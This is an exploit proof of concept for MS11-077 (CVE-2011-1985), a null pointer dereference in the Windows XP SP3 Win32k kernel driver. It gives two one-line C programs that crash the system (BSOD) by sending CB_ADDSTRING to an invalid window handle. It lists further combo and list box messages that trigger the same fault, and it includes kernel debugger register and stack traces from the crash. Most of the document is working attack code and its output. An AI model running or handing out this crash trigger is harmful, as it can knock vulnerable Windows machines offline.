Microsoft Win32k – Null Pointer De-reference (PoC) (MS11-077)
# Exploit Title: MS11-077 Win32k Null Pointer De-reference Vulnerability POC # Date: 10/19/2011 # Author: KiDebug # Version: Windows XP SP3 32bit # Tested on: Windows XP SP3 32bit # CVE : CVE-2011-1985 # Exploit Code. Only a single line of code can cause BSOD: #include <Windows.h> void main() { SendMessageCallback((HWND)-1,CB_ADDSTRING,0,0,0,0); } or: #include <Windows.h> void main() { SendNotifyMessage((HWND)-1,CB_ADDSTRING,0,0); } Those messages can aslo cause BSOD: // CB_ADDSTRING 0x0143 // CB_INSERTSTRING 0x014A // CB_FINDSTRING 0x014C // CB_SELECTSTRING 0x014D // CB_FINDSTRINGEXACT 0x0158 // LB_ADDSTRING 0x0180 // LB_INSERTSTRING 0x0181 // LB_SELECTSTRING 0x018C // LB_FINDSTRING 0x018F // LB_FINDSTRINGEXACT 0x01A2 // LB_INSERTSTRINGUPPER 0x01AA // LB_INSERTSTRINGLOWER 0x01AB // LB_ADDSTRINGUPPER 0x01AC // LB_ADDSTRINGLOWER 0x01AD 0: kd> r eax=0000001b ebx=ee0af1fa ecx=ffffffff edx=bbdd0650 esi=ffffffff edi=ee21fd64 eip=bf914e9b esp=ee21fd08 ebp=ee21fd08 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206 win32k!NtUserfnINCBOXSTRING+0x8: bf914e9b 8b4120 mov eax,dword ptr [ecx+20h] ds:0023:0000001f=???????? 0: kd> kp ChildEBP RetAddr ee21fd08 bf80ef2b win32k!NtUserfnINCBOXSTRING+0x8 ee21fd40 8054261c win32k!NtUserMessageCall+0xae ee21fd40 7c92e4f4 nt!KiFastCallEntry+0xfc 0012ff2c 77d194be ntdll!KiFastSystemCallRet 0012ff5c 00401015 USER32!NtUserMessageCall+0xc 0012ff78 0040114c 1!main(void)+0x15 [[r:\temp\1\1.cpp @ 6] 0012ffc0 7c817067 1!__tmainCRTStartup(void)+0x10b [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 278] 0012fff0 00000000 kernel32!BaseProcessStart+0x23 |